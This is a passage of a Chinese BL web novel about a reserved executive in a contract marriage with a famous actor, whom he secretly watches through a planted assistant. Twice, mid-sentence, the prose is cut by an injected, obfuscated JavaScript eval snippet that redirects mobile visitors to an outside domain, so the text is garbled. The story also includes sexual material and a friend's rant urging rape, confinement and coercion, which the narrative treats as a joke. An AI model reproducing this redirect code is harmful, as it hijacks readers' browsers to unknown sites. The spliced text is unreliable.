《我该上位了》 1. 清渠决决(一) 深冬十二月,风卷着薄雪洋洋洒洒。 下午四点,潮湿的冷空气将车窗覆上一层冰冷雾气,又被空调风吹散。 陈昱探头往外张望,看着长龙一般的车流又坐回来,“沈总,前面好像出了事故,估计要等一会才能走。” 对方微微偏头看向窗外,轻“嗯”了声。 阴沉车内,沈书渠侧脸弧度清冷锋利,苍白的面容略显病态。 细银边眼镜冷淡优雅,和浸淫娱乐圈浮华的生意人不同,沈书渠身上有种很冷的肃杀感。 陈昱顺着他视线的方向看向平洲地标,整座城市最高的那栋大楼。 数十米高的巨幕屏全景展示下季春款高定,自下而上,360度高清拍摄。 顶奢品牌价贵无匹,但更吸引人的还是那位代言人——陆闻轻。 他是娱乐圈无法逾越的巅峰,出道便将那位狠辣隐忍、绝情又深情的“执法官”演绎的入木三分。 电影里,他居高临下握着囚犯脖子、用鞭柄抬起对方下巴刑讯。 经典场面被裁成动图,一跃成为圈内唯一的daddy系艺人。 巨幕屏上,陆闻轻双腿交叠倦懒而坐,右手松松支着头,漫不经心望向镜头的那一眼狂妄而傲慢。 许多人驻足拍照,自下而上望去像极了被陆闻轻低眉俯视。 陈昱忍不住感慨:“陆哥真帅,这脸、这气场,连我看了都想跪下来喊一句爸爸。” 说完,他猛地反应过来,小心翼翼看了眼后视镜,发现沈书渠神色没什么波动才松了口气。 身后这位,正是圈内外都遍查不出的陆闻轻的合法配偶。 手机震了两下,沈书渠收回视线。 ——沈总,陆哥已经录完了。 ——顾先生约了陆哥。 沈书渠将消息反复看了几遍,给对方简短回复——知道了,注意安全。 小艺人行程尚且要保密,何况是顶尖代言摆在面前都未必肯接的陆闻轻。 地位摆在那儿,再低调也会被媒体和粉丝围堵。 回完消息,林锦来电问他晚上有没有应酬,邀他去打壁球。 “今天不行。” 沈书渠一向守诺,答应的事说一不二,林锦好奇他有什么事能爽约。 “你要见陆闻轻?原来咱们高贵冷艳的沈大总裁也有见色忘友的一天啊。” “不是。” 林锦撑着下巴,忍不住打听这个圈内外都想知道的秘密:“你俩现在到底什么情况?” 沈书渠嗓音没什么波动,“还是那样,各自生活,互不打扰。” 好一个互不打扰。 林锦从来没见过他这样的人,也没见过这样的做派,皱眉道:“沈总,你就打算一直跟自己合法丈夫搞暗恋啊。” 沈书渠说:“协议结婚,互不打扰是职业素养。” “结婚这么多年一次不见,你别太有素养了,你不会连他住哪儿也不知道吧,我听说没几个人知道他家地址。” 拥堵疏散,车继续前行。 沈书渠说:“知道。” “知道?等会……”林锦突然有了一个不妙的念头:“你在他身边安排人了?” 沈书渠声线依旧很淡,甚至听不出一丝私心:“我作为老板,需要掌握他的行程,确保他的安全。” 去年一部戏道具组失误,六米高的布景轰然倒塌。 陆闻轻为了救对手戏演员硬生生用脊背挡住铺天盖地的木架,一根三米长的固定钢筋只差半寸就插进他身体。 “确保他的安全?如果让他知道你在他身边安排眼线,时刻报备监视,你觉得他能接受你这个说法吗?” “他不会知道。” “这是他会不会知道的问题吗?是你监视他这件事就有问题。” “我有我的理由。” 林锦争不过也劝不动,他很了解沈书渠,他偏执、固执,还有异于常人的控制欲。 否则也不能背着陆闻轻在他身边安插人。 林锦总觉得他身上有一种平静的疯感。 他像是爱陆闻轻爱得疯了,但又很清楚这种疯狂,于是把念头死死规训在理智之下。 林锦觉得这么压抑下去不是个事儿,日夜担忧他哪天一个控制不住会干出囚禁陆闻轻的事儿。 于是放重声音警告他:“我必须提醒你,你比我更了解陆闻轻的性子,他知道了一定会弄死你。” 沈书渠说:“我不在乎。” “你不在乎?你为了他连……”林锦说了一半戛然而止,改口斥道:“你喜欢他直接跟他说不就得了,凭你这张脸……” 沈书渠打断他:“他没必要知道。” 一旦摊开了讲明白了,陆闻轻要面临两种选择:心动,和他在一起,厌恶,解约离婚。 沈书渠从来不喜欢赌博。 并非害怕失败,是不喜欢存多余的妄想。 人不应该有多余的欲望,现在的状态就很好,他能把一切限制在能够掌控范围内。 况且,那两个结果都不是他想要的。 “结婚三年了一次也没见过叫很好?我听八卦说他最近很喜欢一个叫宁什么的小演员,万一他跟你提离婚……” “那就离婚。” 沈书渠从结婚第一天就做好了离婚的准备,协议书家里办公室里各放了两份,并且每年都会更替新的条款。 只要陆闻轻提,他立刻就可以取出签字,奉还自由。 - 阳华山。 山道崎岖,引擎声卷着雨奔赴一场深夜狂欢。 陆闻轻单手插兜靠在栏边,神色倦怠。 顾向平看他兴致缺缺,蓦地想起一句话——陆闻轻用冷冰冰眼神看人的时候像看狗,一旦含着点儿情意又好像在用眼神操人。 他当时觉得话糙理不糙,但这话也太糙了。 现在想想,这是写实派。 无论在镜头里伪装的多么优雅贵重,皮下血脉里仍旧是那个掌控欲与控制欲齐头并进的疯子。 顾向平大喇喇去勾搭他的肩膀:“恭喜啊陆大影帝,之前见你一面就难,现在更红了,以后是不是得提前半年跟你经纪人预约了?” 陆闻轻眼皮未掀:“回头号码发你。” “……”顾向平噎了两秒,看他双眸发红倦色浓重,这才有些后知后觉的心虚。 “我这不是急着给你接风么。” 陆闻轻没搭腔,顾向平的脾气一向是给点儿颜色就要开染坊。 “我还没说你呢,一个戏拍一年多跟坐大牢似的,奖都拿完了还不休息一下?我这一天天的苦守寒窑都成王宝钏了你来陪我一下怎么了?你要做薛平贵啊?” 陆闻轻朝他怀里的男孩儿瞥了一眼,淡笑一声:“你这么想我?宝钏,你的寒窑人挺多挺热闹啊?没少蹦迪吧?” “……寒窑也得跟上时代嘛,尊重一下爱迪生伯伯的发明创造。” 陆闻轻被他一身的烟味呛得神经钝痛:“离我远点。” “你比我爹毛病还多,有点烟味怎么了,你不抽烟还不许人抽烟了。” 顾向平边往旁边让了半步,忽然想起件事儿来:“前几天我见着你家……你老板了。” 那天是白玉奖颁奖礼,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094434|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪一个小艺人出席,一进后台就先看见他。 他站在冷光下,五官立体睫毛又黑又长,发觉他的视线回过头时面无表情地点了下头致意,给人一种非常难以亲近的疏离感。 顾向平当时心剧烈的跳了一下,那一眼不带感情,却像一只钩子,让人抓心挠肝忍不住再多看两眼,或者让他多看自己一眼。 那一身的禁欲高岭之花味儿,说是个搞学术的也不为过。 他当时不认识,后来跟人一打听才知道是沈书渠。 “你俩怎么样了?” “什么怎么样。” 远处引擎声轰鸣交织。 弯道崎岖狭窄,一红一黑两车几乎并行前进。 野蛮的吼叫撕破黑暗从弯道冲出,雨珠疯狂砸在车顶织出一层白雾。 山道没有护栏,左侧是山体右侧就是没有任何防护的悬崖,红车率先占据山体一侧。 不用再看,胜负已定。 陆闻轻注意力被拉走一瞬,再回过神时在心里稍稍回忆了几分钟。 他结婚当天都在组里。 这桩婚姻从各种意义上来讲都是完完全全的交易。 不干涉选剧本、不要求公开、不强求接戏不限制炒cp,给予最大限度的自由和公司当下能拿的出的顶尖支持。 除了躺在自己的配偶栏里,沈书渠真正严格遵守协议结婚的所有规定,包括不主动联系。 他有时候都要忘了自己还有个合法配偶。 “你俩现在什么情况?我印象里你合约差不多还有一年到期吧……我去,你快看!” 夜雨滂沱,墨色浓稠模糊。 “这是完全不要命了?赛车场上贴山体过弯都是搏命,他竟然敢在悬崖边这么玩儿,雨夜几乎是完全看不清路况的吧?” 黑色塞纳贴着崖边,咆哮着全速过弯,一寸寸将红色那辆车压近山体,逼着他贴山前行。 陆闻轻微微蹙眉。 无论是正规赛车和野场都是要赢,而不是搏命,只要有一个不要命的那势必能压过那个惜命的。 黑色疯狂挤压对手,将狭窄山路硬生生夺去大半,胜负已定的场面瞬间调转。 暗夜之中的塞纳如同野兽,震耳欲聋的声浪伴随极限驱力,撕开寂静夜空。 一道利箭,如幽灵般冲出雨雾。 毫厘之差,粉身碎骨。 迈凯伦塞纳率先冲线,排气管回火爆燃,喷出绚烂火焰。 “牛逼!!!” “但凡弯心差一点儿打滑再多一点儿,连人带车直接粉了。靠,太野了。”顾向平忍不住吹了声口哨。 他们这个圈子里的人不缺钱,但也不免感叹:“两千多万的车拿来玩这个啊。” 陆闻轻盯住终点方向,这辆两千万的塞纳裹挟风雨收油刹车,如野兽般喘息停稳。 “怎么样?对胃口吧?” 夜幕之下,车尾灯鲜艳刺目,如果从车技与胆魄来讲,哪怕是职业选手也未必能复刻出这样的场面。 他可以成功一百次,但失败一次就是粉身碎骨,他未必次次都有好运。 陆闻轻说:“开到这个速度……” 这人的心理状态大概率不怎么正常,至少很疯。 顾向平没想那么多,拍拍身旁男孩耳语:“宝贝儿,你让那哥哥一会先别走,就说是我请他……请他喝一杯。” 男孩儿应声跑去了。 顾向平兴奋未定,后知后觉问陆闻轻:“哎你刚才说什么来着?” “说什么?” “你老板。” 陆闻轻顿了顿,说:“说,离了吧。” 2. 清渠决决(二) “怎么突然打算离了?”顾向平好奇。 陆闻轻结婚当天就直接公开了,但没有公布沈书渠的身份。 营销号狗仔跟了几年,愣是一点儿料也没挖着。 “别拿糊弄媒体那套来糊弄我啊。”顾向平转过身,自上至下打量了一遍陆闻轻,奇道:“说真的,他对你真的一点儿想法也没有?” “重问。” 顾向平让他噎了一下,从善如流换了个句式:“……行,沈书渠长那样一张脸你就半点儿不动心?你喜欢男人,这世界上恐怕找不出第二个这么好看的了吧?” 陆闻轻仰起头,在心里勉强拼凑出一个极其冷淡的轮廓。 具体模样么,记不清了。 他签合约的时候沈书渠还没接手公司,唯一一次有接触就是谈协议那天的视频通话。 沈书渠的样子一闪而过,那张脸并没有在镜头里停留多久。 他只记得一双很冷很修长的手按在桌沿,凉浸浸的嗓音说:“公开道歉,或者跟我结婚。” 镜头那头的沈书渠西装革履,纽扣一丝不苟系到顶,理性得令人发指。 两人对峙片刻。 陆闻轻问他原因。 沈书渠一张薄唇微启:“我要锦盛成为平洲最大的娱乐公司,我给你一个已婚的身份,你回报我利润,我们合作。” 一个绝对的利益主义者,精心谋算到连婚姻都可以当筹码的商人。 理性、寡淡、沉闷。 沈书渠像个调试精良的机器人,永远不会出错,可理智过了头就欠缺了几分热情。 当老板么,挺好的。 当两口子,那就太无趣了。 他喜欢野一点儿、浪一点儿的。 - 深夜十点。 沈书渠坐在车里剧烈喘息。 过弯时,肾上腺素在一瞬间极限飙升至顶点,几乎碾过了他的承受临界。 五感崩溃失控,耳朵里嗡鸣如雷,五脏六腑挤在一起的极限压力下眼前不住发黑。 鬼门关走过一趟,他浑身的肌肉都在抑制不住地痉挛,就连喉咙里也全是血气。 雨声砸在车顶。 沈书渠抖着手摘下手套丢在副驾上,垂下漆黑的睫毛,沉闷而压抑的喘息声在车里弥散。 陈昱一早就在旁边等待,看到过弯的惊险一幕时双手一夹伞柄,闷头祷告:“玉皇大帝妈祖娘娘上帝耶稣大圣爷爷保佑沈总别出事儿,保佑保佑保佑……” 引擎声轰鸣,陈昱噼里啪啦念了一串中外混杂的人名也不知到底要指望谁保佑,但总之再睁眼时车已经停稳,一颗心扑通一声落回胸腔。 “感谢我的亲娘四舅姥爷……” 他用力抹了把脸,撑起伞小跑过去敲车窗:“沈总,您还好吗?现在能下车吗?” 沈书渠脸色苍白,看起来状况不怎么好。 陈昱用力拍了拍车窗,等沈书渠开了车门锁立即换手撑伞,一手扶着他:“小心。” 沈书渠嗓音沙哑:“没事。” 陈昱小心翼翼将他扶出来,用脖子夹住伞空出另一只手关上车门把人带到副驾去。 “请、请等一下!” 陈昱关上车门,回过头看了眼风中杨柳似的年轻男孩儿,四下看了才确认是叫他。 “有事吗?” “我姓李您叫我小李就成,我有个朋友想请……”小李一歪头,对上视线的一瞬间脑子有一霎空白。 车里的男人面色苍白,衬衣雪白一尘不染,清冷的脸隔着暗色玻璃有一种惊心动魄的美。 银丝眼镜后的双眸淡漠无波,明明是坐着,却有一种居高临下的凉薄意味,让人很想求他看上一眼。 “那、那个……”小李被那一眼扫过,浑身过电似的结巴了两声,到嘴边的话突然就忘了。 他来之前以为会是个肌肉彪悍至少是块头很大的男人,没想到竟是个冰冷优雅的大美人。 陈昱侧身一挡:“喂,看什么呢。” 小李一个激灵回过神,“哦哦,我朋友看了您的车技觉得很厉害想请您喝一杯,这是他的名片。” 沈书渠略显几分不耐,陈昱立即领会意思:“谢谢你朋友的好意,我们家先生不喝酒。” “我朋友叫顾向平,他是……” 车窗半落,沈书渠眼皮一抬:“不认识,还有事?” “呃……没、没事了。” 沈书渠摘掉眼镜,闭上眼靠在椅背上养神。 陈昱飞快打发了人收伞上车,山路湿滑,塞纳提速又快,他连油门都不太敢踩。 两千多万的车中看不中用,舒适性奇低,人陷在里面连腿很难伸得开,沈书渠偏头靠在椅背上微微蹙眉。 陈昱播了几首轻音乐,让他稍微放松精神。 “沈总。” 陈昱欲言又止,侧头看着似睡非睡的沈书渠,微微抿了下唇。 虽然知道有些话不该他来说,他没资格也没立场去指教,但还是憋不住:“沈总,车不能这么开。” 沈书渠没回应,陈昱不知道他是睡着了还是没睡,迟疑一会又说:“您对我和弟弟有救命之恩,我……” 虽然沈书渠只比他大了三岁,但在他心里他是把沈书渠当亲哥甚至亲爹来看的。 他从小父母双亡,家里还有个缠绵病榻的爷爷,是他从小凭着捡破烂和废品养爷爷供弟弟上学。 谁知屋漏偏逢连夜雨,弟弟查出白血病。 他看着年仅十一岁的弟弟日渐消瘦,不知怎么脑子一热竟想去抢银行。 当时他脑子里就一个念头,如果坐牢能换弟弟和爷爷活下来的话,他不在乎,但他从小再苦也没做过小偷,在银行门口踟蹰了好几天也没下得去手。 医院下通知那天,他攥着一把刀径直往银行门口走去,就在踏上台阶的一瞬间被一只冰冷的手握住。 他到死也不会忘那天。 阴天,很冷。 一个面容苍白很美但很冷的男人握着他的手腕,抽走刀丢进垃圾桶,居高临下问他:“缺钱?” 陈昱也不知道怎么回事,连日来没哭的眼泪一下子决堤,一把鼻涕一把泪跟他说了。 “我可以帮你,但你要……”沈书渠递给他一张手帕,说:“把自己卖给我。” 陈昱叹了口气。 车里舒缓温柔的轻音乐播完,换了一首粤语歌,沙哑女声恰好唱到一句:“捉不紧,变得更加固执……” 沈书渠睁开眼。 雨夜行车稀少,路灯洒下昏黄的光线,越发显得荒凉孤寂。 林锦说他有病,暗恋自己的合法丈夫,但他不觉得这是有病,每个人都应该有一个被自己掌控的梦。 譬如考到好大学、譬如一夜之间发财,譬如去庙里求签许愿事事顺利。 这些都是合理范围内不影响任何人又不会沉溺幻想的愿景。 他和这类人没有区别,都是在做梦,是人是物,其实没有特别大的区别。 有人求财,有人求事业,他求陆闻轻平安顺利无病无灾。 一样的。 - 陆闻轻看完那场不要命的赛车,谢绝顾向平还要再换地方的邀请。 他将近三十个小时没睡,太阳穴有细细密密的钝痛,懒得再动。 助理湉湉在一边念叨他明天的行程:“明天上午有个十分钟的采访,下午要试妆,后天庆功会,周一……” 陆闻轻睁开眼。 湉湉:“……好吧明天再说。” 很快到家。 车牌有记录,司机便直接将车开到门口。 湉湉率先跳下车去开门,突然发现屋里有个人:“你是……哎?!” “!”湉湉眼前一花,还没看清发生了什么事就被挡得严严实实。 门“啪”一声在她面前关上,险些把原本就不高的鼻子拍平。 “哥!什么情况?你关我干什么!陆哥?!” 陆闻轻没管 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“沈总在家吗?我给他打电话没人接,估计是在忙。”尤微一边跟人打手势示意稍侯,一边匆匆跟陆闻轻交代:“他脾气不太好,你有个心理准备。” 尤微亲眼见过沈书渠在会上把几个高管训得头都不敢抬,也见过小艺人私自见投资商被下药被他骂得连哭都不知道哭。 沈书渠三个字在公司跟阎王爷差不多,他要骂谁,那就是阎王点卯。 “他敢。”陆闻轻轻笑一声,挂掉电话起身。 视线微凝,落在门外台阶下。 深冬雨夜,一只盈如白玉的手握着一把长柄黑伞,冷白的手腕上缠着条黑色佛珠。 西装革履,气质冷冽。 雨珠在伞面跳跃,冷雾渗透大衣。 屋内灯光拉长绵延台阶,男人长相清冷,银边眼镜后的眼尾微微上挑。 他静静站着,两条长腿修长笔直,被剪裁合衬的手工西装包裹出极致的禁欲感。 没来由地,他脑海里冒出晚上那辆逆风冲线的迈凯伦塞纳。 优雅、野性。 陆闻轻视线一晃,顾向平问他时死活也记不起的模糊轮廓瞬间清晰。 他比四年前那个镜头里变了一些,成熟、内敛,气质上更冷。 平心而论,这张脸无论放在哪个圈子里都算是杀伤性武器。 四目相对,沈书渠握着伞柄,微微动了动喉咙。 骤然见面,他没有做好任何准备,像一个完全没有预习过的差生,在众目睽睽之下交白卷。 陆闻轻为什么突然过来,是准备提离婚? 沈书渠只看了他一眼就别开视线,收伞上台阶,很公式化地询问:“你怎么来了?有事?” “有。” 沈书渠心脏沉了下,侧过身脱掉寒气冷冽的大衣挂上衣架,脱鞋时,黑色袜子包裹的踝骨关节一闪而过。 陆闻轻扫了一眼,又回到撑住玄关柜的那只手上。 指骨修长,手背青筋纹路清晰,几乎能看出血液在脉络中静静流淌。 一只很漂亮的手。 沈书渠余光发觉他的注视,放在桌上的手蓦地蜷了一下。 陆闻轻看人的时候眼皮微合,让他一下子想到那个被翻来覆去看了无数遍的冷酷执法官。 沈书渠觉得自己现在就像被他禁锢的囚犯,执法官吝惜口舌,只说一个字,把他吊在半空中要死不活。 不过就算他不说,沈书渠也能够领会他的意思,一是谈离婚这件事本来也不需要太多语言。 二是,他想不到陆闻轻会亲自到他这里来的其他原因。 沈书渠本以为自己早有准备并不会觉得特别意外,但没想到真到了这一刻,还是会觉得措手不及。 3. 清渠决决(三) “沈总,我需要自我介绍一下吗?”陆闻轻眼底微红,低眉间有一种莫名像看爱人的撩人意味。 没人吃得消那种眼神,沈书渠尤其不能承受。 他轻吸了口气,喉咙寸寸收紧,指尖蜷起勾住佛珠用力一碾。 “不用,我只是觉得你突然过来有点意外。” “那就好。”陆闻轻嗓音低沉沙哑,似笑非笑:“我以为我们初次见面,你不认识我。” 沈书渠白衬衫微湿,嘴唇发白,但喉结上有一粒红色的小痣,给冷白的皮肤添了一点艳色。 “淋雨了?进来再说。”陆闻轻手一伸关上门,闻到一股混杂着冷雨浇透般沉闷清苦的香水味。 沈书渠侧身避过,先进了客厅:“你怎么来的?” “自己来的。” 沈书渠很不赞同地蹙了下眉,陆闻轻的身份摆在那儿,他的私生活一向是狗仔最想挖掘的秘密。 在保护陆闻轻这件事上,他不能保证滴水不漏算无遗策,尽管小心再小心,他还是有顾虑。 “你一个人出门太不安全,如果被人认出来或者被拍到都会很麻烦,以后尽量让人陪着你,至少带个司机。” 沈书渠的表情很冷很淡,陆闻轻觉得他言下之意是擅自破坏协议,不高兴了。 “好,我知道了。” 沈书渠在原地站了有几秒钟,抬手扶正眼镜:“嗯,你先坐,我去书房拿东西,签了字你就……” “沈书渠。”陆闻轻歪头看他:“你家有东西吃么?” 沈书渠微怔了怔:“有,你想吃点什么,面可以吗?或者订餐。” 陆闻轻其实是不吃陌生人的东西的,但看着沈书渠忽然改了想法:“下面吧,省事。” 沈书渠很少做饭,冰箱里只有挂面和鸡蛋和几颗还算新鲜的番茄。 陆闻轻斜靠在门边看沈书渠解开两粒扣子,洗锅烧水,将番茄对半切开分成四瓣。 他切菜很利落,下刀装盘,蓝紫色萤石袖扣低调温柔。 陆闻轻有一种很怪异的感觉,却一时想不出答案。 “沈书渠。” 沈书渠切菜的手停了一下,但仍垂着头:“嗯。” “有人躲了监控死角,摸到我房子里住了一个多月,我一开门就看他冲我照片发情。” 沈书渠倏地抬起头。 陆闻轻省去对方的求操和自己一脚把人踹昏过去的细节,淡淡说:“尤微已经在处理了,她担心我现在去住酒店会引起不必要的麻烦,我冒昧过来,不影响你吧?” 沈书渠不知该先处理私生还是先反应陆闻轻要来住一晚,足足有十几秒没反应过来。 “私生的事我会处理,这段时间你先住这儿,想……”沈书渠敲碎鸡蛋,补充:“我不经常这儿,今天碰巧下雨才来,你可以放心住。” 陆闻轻拒绝的声音很客气:“不了,麻烦你一晚上已经很抱歉了,一直在你这儿住不合适也不方便。” 沈书渠停顿了一会,说:“好。” 他背对着陆闻轻,揭锅盖时望了一眼手腕上的佛珠,他很清楚自己的窥探欲,想要知道陆闻轻的一切动向。 林锦总担心他会哪天变态,他有时候自己也担心,于是求了一串珠子来戴。 一则提醒。 二则规训。 这珠子是他给自己的枷锁,不要太过干涉陆闻轻的私事,保持距离。 他们两个之间有一个以交易为幌子的禁区,不能轻易越过。 一旦踏过那条线,这桩婚姻就走到了尽头。 面条煮软,关火。 两碗简单的番茄鸡蛋面,卖相尚可。 沈书渠担心陆闻轻没吃过这么简便的晚饭,给他多敲了一颗荷包蛋,不动声色观察了一下陆闻轻的反应。 他只吃了两口就不再动筷了。 沈书渠也放下筷子:“楼上有间客房,你先休息。” 客房一尘不染,沈书渠打开柜子找出床品和睡衣。 “客房没有人住过,这些都是新的,卧室里有单独卫浴和洗漱用品,如果你用不习惯,明天我会安排人送新的过来。” 陆闻轻拿起床单摆弄两下,不知想到了什么,忽然放下来。 “沈书渠。”陆闻轻指了指床单,问他:“这怎么弄?” 沈书渠有些意外:“你不会套?” “没套过。” 沈书渠迟疑了两秒钟,脱掉西装外套放在椅子上,拿过崭新未拆封的被套拆掉包装稍微一抖展在床上。 拆封、铺平、抚皱。 陆闻轻居高临下地看着沈书渠,明白从刚才就有的怪异感觉是什么了。 分明是坐在谈判桌上的精英打扮,做起这些日常的事却非常熟练。 他身上有一种很强的反差感,但又不违和,仿佛天生就该会很多东西。 “你每天都下班这么晚?” 沈书渠手上动作微顿,接着又继续收拾:“不是,今天特殊情况。” 沈书渠从西装裤口袋中摸到打火机,蹲下身拉开抽屉取出一支香,顿了顿又放回去。 陆闻轻环胸靠着,瞥见抽屉里的包装盒意外了一瞬:“你也喜欢用这个?” “嗯,朋友推荐的,说是可以助眠就随手买了。”沈书渠取出一支点燃,香气幽微清润,起身将打火机放回口袋。 “休息吧,晚安。” “等一等。”陆闻轻手臂一伸挡住沈书渠的去路,接着微微低下头:“沈总,我们以前是不是见过?” 沈书渠心尖一跳,猝不及防迎上他的视线,怔怔半晌没能开口。 好半晌,他别过头:“没有,我们没见过。” “既然没有,那为什么从我进门开始你就没正眼瞧我一眼,怎么?是我长得很难看,还是你讨厌我?” “不是。” “不是么?”陆闻轻低下头,距离骤然缩短,“那你抬抬眼,看看我?” 沈书渠浑身的毛孔几乎一瞬间张开,理智告诉他应该现在立刻推开陆闻轻离开,但耳边的呼吸太近了,近得他几乎压不住内心的渴望。 他就站在自己面前,就在咫尺之遥一偏头就能吻到的程度,是镜头窥伺完全没有办法给的真实感。 沈书渠几乎要被烧干,匆匆看了一眼就立刻别开:“我不讨厌你,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094436|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长得也不难看,时间不早了你该休息了。” - 毫无准备见到陆闻轻,像是刚拿到执照就要去开300码的拉力赛。 沈书渠用力勾开领带扔在床上,衬衫纽扣被蛮力崩掉一颗,在寂静的房间里发出清脆声响。 眼镜、手表一一摘掉。 赤足踏进淋浴间,冰冷水流从头顶浇下来,从眼睛耳朵划过,淌过劲瘦清晰的腰腹线条。 沈书渠仰起头,在冰冷水流之中,寸寸收紧、肩胛抽合。 一声喘息。 沈书渠洗完澡从卫生间里出来,手机屏幕正好亮了一下,他丢下毛巾拿起来解锁。 林锦:沈书渠,这是不是你! 林锦:你又骗我! 沈书渠点了支烟,辛涩的雾气勉强压下残留的欲望。 他推开落地玻璃门给林锦回电话,一接通就听见怒吼:“沈书渠你要吓死我啊!” “谁叫你这么开车的,有人给我发视频说看到个狠人,我一看就知道是你,你买这个迈凯伦塞纳是为了玩命的吗?” 沈书渠由着他发泄了一会,说:“我没事。” 林锦怒气不降反升,隔着电话冲他撒气:“现在没事就算啦?你知道打滑一点点你命就没了!不就是一个陆闻轻你至于玩儿命吗,真喜欢他你去强/奸他呀,把他关你家里想怎么睡怎么睡,让他铜丝你橄榄你,让他住里面行不!?不同意就雪藏他,你没见过人包养小明星呀!不听话就不给资源,你抢这个破公司不就是为了他吗!” 沈书渠咬着烟沉默了很久,但还是没忍住问他:“林锦,你说的还是中文吗。” 林锦让他气懵了,憋了一会才反应过来自己说了什么,反正也不能撤回,索性破罐子破摔:“他长手了吗?长手了不乐意跟你睡觉让他抠死你行不?你俩结婚那么久他该出点力回报你了吧?人家包鸭还得玩个钢丝球呢,你送上去给他睡他还不要?” 沈书渠:“你最近又看什么了?” “你别管我看什么,我这是为了谁呀,还不是你!哪有人在悬崖边全速过弯的,你要破吉尼斯活人勇闯悬崖不要命记录啊?” “我有分寸。” 林锦让他气得直接把电话挂了,几秒钟后又发来一条消息:沈书渠,今晚我不想理你了。 一根烟燃尽,沈书渠望着漆黑夜空。 没人知道,他对性有着超乎寻常且没办法自控的瘾,发作的时候像一头无法控制□□欲望的野兽。 他用近乎苛责的方式控制这种阴暗放荡的欲望。 沈书渠看着自己的浴后微潮掌心与指根,仿佛还有黏热液体浸泡的错觉。 他有一次发病,甚至生出了要囚禁陆闻轻的念头。 他一遍遍自虐似的看陆闻轻饰演执法官那部戏,渴望自己是他锁链之下的囚徒、渴望他手上的鞭子渴望踩在胸口的坚硬军靴渴望掐在脖子上的那只手。 他可以粗暴一些,可以随意对他做什么。 沈书渠一次次用理智强行修剪萌芽的欲望,不断纠正、修改。 他重重喘了口气,从抽屉里拿出药瓶吃了几颗,又将佛珠扣回手腕。 4. 清渠决决(四) 凌晨一点。 一楼的厨房里开了一盏小灯,沈书渠站在炉灶前煮牛奶。 奶锅里咕嘟咕嘟冒起细密的泡,香气弥漫了整个厨房。 他关上火,把牛奶倒进杯子里,上楼站在客房门口足足三分钟,直到滚烫的杯子逐渐变温才抬手很轻地敲了一下门。 房内无人回应。 沈书渠又站了一会,没吵醒陆闻轻,下楼把牛奶倒掉洗干净杯子放回橱柜,恍惚想起他上一次喝牛奶还是五年前。 他胃一直不好,频率高的时候一周要疼三次,陆闻轻煮东西的技术实在不怎么样,牛奶算是唯一拿得出手的。 沈书渠不喜欢牛奶的腥味,宁愿吃两颗止痛药。 陆闻轻就会一手端着杯子一手按住他的脖子喂他,等喝完了用拇指蹭一蹭他唇上的奶沫丢下一句:“这就嫌腥,以后喂你更腥的你咽不咽。” 沈书渠关上橱柜门,上楼睡觉。 他的生物钟极准,不管几点睡觉六点一定醒。 他习惯先跑半小时步,再徒步走回来,买早餐的时候有个电话打进来。 他看了一眼,点了挂断。 对方又拨了一个,但没等沈书渠拒绝却自己先挂掉了,紧接着一条消息发过来。 ——我知道你很恨我,我没有别的意思,只是想跟你说几句话这样也不行吗? ——下周我会到平洲,我们见一面吧。 ——小书。 沈书渠没看完消息,直接把号码拖进黑名单。 陆闻轻在陌生地方一般不会睡得很沉,两年前组里有个小演员宁迟送了他一盒香,他是不用陌生人东西的,但湉湉以为是尤微送来的就点了一支。 沉香混合着不知名的中草药气息变得温柔清雅,助眠效果也很好他就一直用了。 昨晚沈书渠点的这支气味相似,尽管他时差没倒过来但也睡得出奇好,连头疼也消散无踪。 竹叶香盘里落满燃尽的香灰,没来由的,他想起沈书渠腕上那条黑色佛珠。 信佛? 所以禁欲? 睡了一夜的床单略显凌乱,陆闻轻想到昨晚沈书渠俯身抚平床单的样子。 那截儿腰薄得离谱。 一只手就能掐住一半,两掌合拢是可以完整收纳的尺寸。 ——咚咚。 房门被人很克制规律的敲了两下,有一种没得到回应就不会再敲的礼貌。 陆闻轻下床开门。 沈书渠站在门口半步远点地方,额发微潮,苍白的唇泛着不太明显的粉色,比昨晚看起来生动一些。 沈书渠嗓音微哑:“吃饭了。” 陆闻轻洗漱完出来,看着桌上挺丰盛的早餐,顺口问:“你做的?” “买的。”沈书渠盛了一碗粥,递过来时又补了一句:“随便买的。” 其实不是,海鲜粥和糯米蒸排骨是陆闻轻爱吃的,西洋菜猪骨汤解酒养肝,至于虾饺是拿来充数,不至于显得他太刻意的。 陆闻轻搅了搅粥发现竟没有姜丝,因此吃得意外舒坦。 六点四十,沈书渠坐在人来人往的店里一点点挑干净姜丝,交给店家打包封装。 店家一边打包一边乐呵呵笑他:“费这么大功夫啊。” 陆闻轻吃了两碗,是值得的。 沈书渠看着他面前的空碗,思忖片刻:“还要吗?” “不吃了。”陆闻轻拒绝,他也没再问。 陆闻轻饶有兴味地看沈书渠对着那碟排骨往外挑葱花,一下笑了:“沈总,几岁了还挑嘴。” 沈书渠停下筷子。 “葱花不吃,海鲜粥也不吃。”陆闻轻向后一靠,像是真的好奇:“你喜欢吃什么?” 沈书渠本来不想回答但感觉他在等,沉默半晌,还是说:“……荔枝吧。” - 上午九点,陆闻轻到达杂志拍摄点。 景是一周前就已经搭建好的,服装从设计师工作室乘坐专机漂洋过海,连箱上封条都没拆,只等他档期空暇。 